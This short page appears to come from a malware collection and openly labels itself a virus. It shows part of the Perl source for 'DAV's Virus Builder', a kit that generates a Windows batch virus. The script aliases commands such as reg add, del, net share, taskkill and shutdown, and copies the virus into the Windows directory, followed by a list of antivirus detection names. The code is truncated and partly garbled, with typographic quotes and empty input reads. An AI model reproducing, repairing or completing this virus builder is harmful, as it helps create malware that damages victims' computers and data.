Patrick Infimate

<$This is a virus/>

» Perl.INFIMATE.a (Release 11 Jul 2007)

#!/usr/local/bin/perl

1. Virus Builder
2. by dav
   $vname = ‘’;
   $vwriter = ’’;
   $vbsmsgtxt = ‘’;
   $vtime = ’’;

print(“*******************\n”);
print(“DAV’s Virus Builder\n”);
print(“BAT/VIRUS\n”);
print(“*******************\n”);
print(“\n”);

print(“VirusName?\n”);
chomp ($vname = );
print(“\n”);
print(“Author?\n”);
chomp ($vwriter = );
print(“\n”);
open(FH,“>virus.bat”);
print FH ‘@echo off’;
print FH “\n”;
close(FH);
open(FH,“>>virus.bat”);
print FH “rem $vname – Virus\n”;
print FH “rem by $vwriter\n”;
print FH “rem * generated with dav’s virus builder v.1.0 in perl *\n”;
print FH “set dav=echo\n”;
print FH “set davv=copy\n”;
print FH “set davvv=reg add\n”;
print FH “set davvvv=del\n”;
print FH “set davvvvv=net share\n”;
print FH “set davvvvvv=cls\n”;
print FH “set davvvvvvv=taskkill\n”;
print FH “set davvvvvvvv=ren\n”;
print FH “set davvvvvvvvv=call\n”;
print FH “set davvvvvvvvvv=shutdown\n”;
print FH “davv 0 %windir\\vwin.bat > nul”;
print FH “\n”;
close(FH);
…

Constructor.Perl.INFIMATE.DAV.a (Sinlug Lab), Troj/Divdavkt-A (Sophos), PERL_DIVDAVV.A (Trend Micro), KIT/DavsBatch.1 (H+BEDV), Constructor.Perl.INFIMATE.A (ClamAV), Constructor/Infimatepel. (Panda)